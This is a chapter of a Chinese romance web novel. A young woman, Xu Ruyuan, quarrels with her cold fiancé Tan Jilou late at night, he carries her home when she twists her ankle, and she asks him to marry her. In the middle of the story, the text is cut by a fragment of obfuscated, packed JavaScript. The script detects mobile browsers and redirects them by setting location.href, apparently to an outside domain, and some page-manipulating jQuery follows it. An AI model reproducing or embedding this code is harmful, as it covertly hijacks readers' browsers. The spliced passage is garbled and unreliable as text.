芭拉不拉 作品

4. Chapter 4

海城的夏天很热,家门前的池塘里总有蛙鸣,但许如愿永远怀念那片法国梧桐投下的翠绿树荫。


“许如愿同学我喜欢你,很久了。”


少年从背后拿出那封准备了很久的粉色情书,双手因紧张而有些微微颤抖。


他的笑容青涩且含蓄,即使害羞到双耳通红,他的眼睛,仍一刻不离地看着面前的姑娘,那是专属于少年人的纯净和热烈。


许如愿也在看他,心中已是无比悸动。


她幻想过无数次闻鹤来向她告白的场景,明明已经预设过很多回答他的话,激动的,含蓄的,幽默的,高冷的,可当男主角真正出现在她眼前时,她的大脑居然一片空白了。


“我,我……”她快紧张死了。


就在这时,道路转角出现了一个人。


大反派。


“许如愿。”男人声音冷酷。


少女应声回头。


后花园中,走出一位相貌英俊的青年,穿着闲散的居家服,手插口袋,蹚着步子。


视线直直落在许如愿身上,冷得毫无温度,就朝她走来。


他比他们两个人都高,影子黑压压过来,连气息都是凉的。


只见男人伸出两指,修长匀称,截过少年手中情书,毫不留情面,而后回过头看向许如愿。


“题没做完,在这里磨蹭什么?”


恶魔低语。


-


许如愿从噩梦中醒来,一睁眼,撞上一张熟悉的面孔,吓得赶紧后退身子。


“啊!”


她撞到了玻璃茶几,额头的剧痛终于让她冷静下来。


“家里没床么,来我公司打地铺?”


大魔头居高临下望着她,眼里没一点见她受伤后,正常人该有的同情。


“谁让你这么晚回来。”


许如愿揉着脑袋从地上爬起来,心里还怪委屈,嘟囔道:“我不是跟你说了,你多晚回来我都等。”


姑娘一场大梦初醒,眼睛雾蒙蒙的,浮着一层水汽,眼眶微红,瞧人时难免楚楚可怜了些,可她此时偏又受了伤,也就不显得矫情什么了。


谭季楼很快收回了视线,转身走去水吧,“我给你发了消息,晚上要跟合作商吃饭。”


许如愿打开微信一看,谭季楼果然给她发了消息,六点半的时候。那个点她正跟兄弟开黑打游戏呢,哪有空管他。心里的愧疚瞬间一扫而空,说到底现在也不晚。


“那什么,既然你回来了,我一会儿也没事,咱们聊聊吧。”


她清了清嗓子,在沙发上正襟危坐。


“太晚了。”男人扶着冰箱门拿水,背对着她,“明天吧,想吃什么告诉陈则初,明晚我请你吃饭。”


许如愿:“???”


她是什么阿猫阿狗吗?说来就来,说走就走?吃饭吃饭吃饭,谁稀罕跟他吃饭啊!


没品的老男人。


“谭季楼,你怎么又说话不算话!你都不问我明晚有没有空吗,我平时也很忙的好吧?”


额头又开始隐隐作痛,她捂着头,气鼓鼓转过身,不再看他。


“你不是不希望我老牛吃嫩草,为什么突然这么着急?”身后淡淡传来一句。


“我!......”许如愿语塞,这狗男人可真会挖苦人,以后日子难过了。忽然,视线里闯进一瓶矿泉水,瓶身都起着冷雾。


“拿着,消肿。”


许如愿一愣,视线落在水瓶上停了一会儿,头是真疼,于是心一软,接了。


“你耍了什么阴谋诡计,自己心里没数吗?”她一边拿冰水捂头一边说。


空气静两秒。


“我耍了什么阴谋诡计?”谭季楼问。


许如愿:“???”


她回过头,很疑惑地看了他一眼。


天下竟然有如此厚颜无耻之人?


哦,是谭季楼啊,那没事了。


“你突然停了我的黑卡,不就是要逼我来见你这一面吗?”姑娘不知哪里来的勇气,傲娇一撩头发,越说表情越横,最后胸膛一挺,“怎样,我还真就来了,蛤?”


谭季楼站在茶几边,面无表情地欣赏完她的变脸全过程。


左眉略微挑起,点点头,像是赞同了她说的话。


“负责未婚妻的生活开销,我的责任。”


“但既然你已经拒绝跟我结婚,”他忽然走近一步,俯下身,“请问许小姐,我有什么必要为一个陌生人的爱马仕买单?”


两人的距离陡然拉近,略带酒气的乌龙沉香味瞬间侵占了许如愿的所有呼吸。


视线相交,终是有人拼不过底气,率先败下阵来。


“你......老奸巨猾。”


姑娘后知后觉自己的逻辑错误,这一局她认输,于是低下头,不再看他。


半晌,那头轻叹出一声。


“喝了这么多酒,你有脑子跟我谈么?”


垃圾桶里,扔着不少刚从地毯上捡起来的啤酒易拉罐。许如愿才发现茶几上自己留下的烂摊子已经被收拾得一干二净。还有她的高跟鞋,整齐一双就摆在茶几底下。


等等,她刚才是不是在地毯上睡着了?


刷一下,脸上蒸腾起一股热气。


她忽然有点不敢直视谭季楼的眼睛了。这老男人一定在心里嘲笑死她了吧......


“行啊,明天就明天。”


姑娘硬着头皮答应了几个聊天回合以前,几乎快被遗忘的提议,边说边穿好鞋,以最快的速度拎包闪人。


“桌上的垃圾带走。”


“哦......”


许如愿撇撇嘴,灰溜溜回去拎走茶几上的两大袋剩菜。真挺重的,坠得她手腕疼,办公室大门紧闭,她又不得不空出一直手来开门。终究是右手承担了一切。


“等等,”跨出门的瞬间,身后的霸道总裁又出声叫住了她,实在没什么同理心,“你怎么回去?”


“喝车不开酒,当然走回去!”


许如愿气急败坏回他一句,恨不得现在就闪现到家。下一秒,手上的袋子被抽走,重新放回了茶几上。


“等我两分钟,我送你。”


-


近凌晨的江东区金融中心,路边除了偶尔开过的疾驰网约车,便是风吹起的夜江涛。


空旷的滨江大道上,一前一后走着一对男女,中间隔着一百多米的健康步道。前人西装革履,身姿矫健,虽是深夜,步履之间却仍不见丝毫颓惫。


姑娘蹒跚落在后头,夜风呼呼吹起她的长发,似乎也吹掉了她最后一丝死要面子的心。


她到底是喝了多少才会脑子犯浑到答应让谭季楼陪她走回公寓?他们是什么热恋情侣么??大半夜出来压马路???


要是刚才打了车,现在估计早在沙发上刷剧吃夜宵了。


“怎么不走了?”


由远及近传来一声,谭季楼朝她走了回来,单手拎着她的爱马仕雪房子和没吃完的两袋子外卖,另一只手还从容地插在口袋里。


魔鬼,走路这么久,喘都不带喘一下。


许如愿回头瞟了他一眼,有气无力地虚笑了笑,“我是走不动了,得休息一会儿。”


姑娘摆摆手,也顾不得什么淑女风范,高跟鞋一踢,大剌剌就靠在栏杆上歇力。该驼背驼背,该大口喘气就大口喘气。


谭季楼站在她身边,平静扔出四个字:“菜就多练。”


许如愿眼睛一睁,以为自己听错了。老男人什么时候网速这么快了?居然敢用他们00后的梗锐评她!岂有此理!!


“你,你,你才菜!你全家都是卷心菜!”


她扶着栏杆转过身面对谭季楼,指着地上的高跟鞋,理直气壮地反驳道:“我穿着这么高的鞋子走路,明明就很不容易了好吧,痛都痛死了。”


“你这个冷漠无情的人!这下你满意了吧?”


说完俯下身子,揉了揉自己快没有知觉的脚跟。


“鞋子不舒服就不要穿。”


简直欺人太甚,许如愿忍无可忍,正打算用尽自己的毕生修为和勇气跟他大吵一架,一抬头——


“你,你干嘛?”


35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506603|170513||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>她吓了一跳。


看到大魔头突然折腰,是一件很恐怖的事情。


“你不是脚痛?”他侧过头,语气仍旧淡淡的,“背你回去。”


两个字在脑子里徘徊了好几下,许如愿才反应过来,谭季楼居然说要背她。


“不要。”姑娘摇了摇头。


“原因?”谭季楼站起身看她,面露不解。


这还要问吗?她现在又不是小孩子了......许如愿被他盯得有些尴尬,赶紧低下头捡鞋子,顺便随口扯了个理由。


“我,我穿了裙子,会走光的!”


说完,高跟鞋一穿,撒腿就跑。


“当心!”


“嘶......”崴到脚了。


许如愿痛嘶一声,就抱着自己的脚踝,单脚定在了原定,cos倔强丹顶鹤。


……


“要紧么,我送你去医院?”


手臂上传来温热的掌温,谭季楼走来扶住了她,湿凉的江风吹起她的头发,突然就有点想哭。


“现在反悔还来得及吗?”姑娘抬起头,可怜兮兮地问,“我好想快点回家。”


男人垂眸看着她,点了点头。


“将就围一下吧。”他脱下了自己的西服,递给她,“需不需要我帮忙?”熨烫妥帖的意大利手工西服,就这么塞给了她。


“不......不用!”


她手忙脚乱地将外套围在腰上打了个结,不敢再抬头看谭季楼一眼。她现在乱极了,脸上烧起来,喉咙很干,心跳又快。


一阵轻微失重感后,她被稳稳背了起来。


“这样背,会不会舒服?”谭季楼用手腕托着她的大腿,并没有直接同她肌肤接触。


“不会不会,快走吧。”


许如愿摇了摇头,眼睛紧紧闭着,只拿两根手指抵在他的肩膀上保持平衡。她尽量放轻自己的呼吸,却仍闻到了谭季楼身上,连新喷香水也掩盖不掉的酒气。


他也喝酒了,怪不得没开车送她。


“我不是豆腐做的,抓紧些。”


“哦......”


许如愿放松了一点。


衬衫的手感很好,衬衫下肌肉的手感,也很好。体温蔓延至稍凉的掌心,她忽然意识到,这是她成年后第一次跟这个男人靠这么近。


她似乎没有那么怕他了,甚至,他们和谐到保持着同一个运动频率,她的身体也在随着他的步伐微微起伏。


“谭季楼,我不要等明天了。”她忽然说。


乌龙沉香萦绕在她的鼻息,脚踝上的神经还在一阵一阵地疼痛,心里某个位置的门闩突然就掉了,她也说不清原因。


“我们结婚吧,越快越好,之前就算是我鬼迷心窍了,你大人不记小人过,当没这回事,行不行?”


她望着远处快要变红的交通灯,以平生说过的最快的语速说完了这段话。


什么优雅,什么矜持,她都顾不上了。


空气安静下来。


一秒,两秒,三秒。


谭季楼没说话。


“快放我下来,我自己走!”


许如愿有些着急地拍拍谭季楼的肩,不顾一切地从他身上跳了下来。


她瘸着脚往边上挪了几步,跟他隔开了一些距离,然后回头,颐指气使:“喂,我是女孩子,你如果要拒绝我,也请你说得委婉一些!”


姑娘仰着头,表情傲娇。


但她心里虚得很,她崴了脚,包还在他手里,如果她被拒绝了,她连潇洒离开的反击都做不到。


现在,空旷的十字路口只剩下他们两个人。


夜很静,江声逐渐听不见了,地上的树影随着风摇摆着,很静很静。


“许如愿。”


谭季楼忽然叫了她一声。


很多年,他都没有再叫过她的名字。


男人站在阴影里,身型高大,回头时并看不清面容,许如愿只觉得他的眼睛有些不同了。


墨色深渊里,似乎有什么东西在闪动。


“这就是你跟人求婚的态度么?”